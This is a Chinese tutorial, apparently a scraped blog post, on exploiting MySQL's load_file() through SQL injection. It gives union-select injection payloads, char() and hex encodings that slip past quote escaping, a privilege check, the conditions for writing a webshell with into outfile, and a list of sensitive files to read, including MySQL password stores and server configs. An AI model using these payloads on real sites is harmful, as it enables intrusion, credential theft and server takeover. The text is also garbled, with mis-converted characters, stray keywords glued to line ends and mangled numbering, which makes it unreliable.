load_file函數只有知足兩個條件就可使用:php
一、文件權限:chmod a+x pathtofilemysql
二、文件大小: 必須小於max_allowed_packetlinux
例子:web
select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt')sql
select load_file('/etc/hosts')shell
例如上面的例子是有條件限制的:數據庫
一、必須有權限讀取而且文件必須徹底可讀。apache
and (select count(*) from mysql.user)>0 /*若是結果返回正常,說明具備讀寫權限.*/windows
and (select count(*) from mysql.user)>0 /* 返回錯誤,應該是管理員給數據庫帳戶降權了*/安全
二、欲讀取文件必須在服務器上
三、必須指定文件完整的路徑
四、欲讀取文件必須小於max_allowed_packet
若是該文件不存在,或由於上面的任一緣由而不能被讀出,函數返回空。比較難知足的就是權限。
在windows下,若是NTFS設置得當,是不能讀取相關的文件的,當遇到administrators才能訪問的文件,
users就不能實現用load_file讀取文件了。
在實際的注入中,咱們有兩個難點須要解決:
一、絕對物理路徑。
二、構造有效的畸形語句。
在不少PHP程序中,當提交一個錯誤的查詢時,若是display_errors=on,程序就會暴露web目錄的絕對路徑,只有知道
路徑,那麼對於一個能夠注入的PHP程序來講,整個服務器的安全將受到嚴重的威脅。
利用:
咱們假設一個程序的SQL語句以下:
select * from article where articleid=$id (當前條件:magic_quotes_gpc = off, c:/boot.ini可讀)
此時,咱們構造$id爲:
-1 union select 1,1,1,1,load_file('c:/boot.ini')
咱們的查詢語句就變成:
select * from article where articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')
程序就會把c:/boot.ini內容老老實實顯示出來,可是如今magic_quotes_gpc=off的主機少之又少,怎麼才能構造處沒有
引號的語句呢?
看過<<SQL Injection with MySQL>>的朋友確定知道用char()函數或者把字符轉換成16進制。
注:當前條件爲magic_quotes_gpc=on, c:/boot.ini可讀。
咱們構造$id爲:
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
"char(99,58,47,98,111,111,116,46,105,110,105)"就是「c:/boot.ini"的ASCII代碼。
咱們的查詢語句就變成:
select * from article where articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
這樣咱們也能夠成功讀取boot.ini文件,還有把字符轉換爲16進制的:
"c:/boot.ini"的十六進制是"0x633a2f626f6f742e696e69",因此上面的語句就變成:
select * from article where articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
固然,在實際應用中,因爲種種條件限制,文件的內容未必會顯示出來,咱們能夠用into outfile把文件導出。
關於mysql into outfile注射,要使用into outfile 把代碼寫到web目錄取得webshell首先須要3大先天條件:
一、知道物理路徑(into outfule '物理路徑'), 這樣才能寫對目錄。
二、可以使用union (須要mysql 3以上的版本)
三、對方沒有對(')進行過濾(由於outfile後面的('')不能夠用其餘函數代替轉換)
後天條件須要二個:
一、就是mysql用戶擁有file_priv權限(否則就不能寫文件或讀文件)
二、對web目錄有寫權限MS的系統就不說了,通常都會有權限的,可是*nix的系統,一般都是rwxr-xr-x,也就是
說組跟其餘用戶都沒有權限寫操做,因此,要知足這5大條件仍是蠻高難度的。
mysql的load_file()常見的用法:
一、replace(load_file(0×2F6574632F706173737764), 0x3c, 0x20)
二、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一些php文件裏徹底顯示代碼。有些時候不替換一些字符,如"<"替換成"空格",返回的是網頁。
而沒法查看到代碼。
三、load_file(char(47))能夠列出FreeBSD, Sunos系統根目錄。
四、/etc/httpd/conf/httpd.conf或者/usr/local/apache/conf/httpd.conf查看linux apache虛擬主機配置文件。
五、c:/Program Files/Apache Group/Apache/conf/httpd.conf或c:/apache/conf/httpd.conf 查看windows系統
apache文件。
六、c:/Resin-3.0.14/conf/resin.conf 或c:/Resin/conf/resin.conf 查看jsp開發網站的resin文件配置信息。
七、/usr/local/resin/conf/resin.cof 查看linux系統配置的JSP虛擬主機
八、d:/apache/apache2/conf/httpd.conf
九、c:/Program Files/mysql.my.ini
十、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
十一、c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虛擬主機配置文件
十二、/usr/local/resin-3.0.22/conf/resin.conf 或/usr/local/resin-pro-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
1三、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
1四、/etc/sysconfig/iptables 查看防火牆策略
1五、usr/local/app/php5/lib/php.ini PHP 的設置
1六、/etc/my.cnf MYSQL的配置文件
1七、/etc/redhat-release 紅帽子的系統版本
1八、c:/mysql/data/mysql/user.MYD 存在MYSQL系統中的用戶密碼
1九、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
20、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虛擬網站設置
2一、c:/windows/my.ini
參考鏈接:https://m.aliyun.com/yunqi/ziliao/22820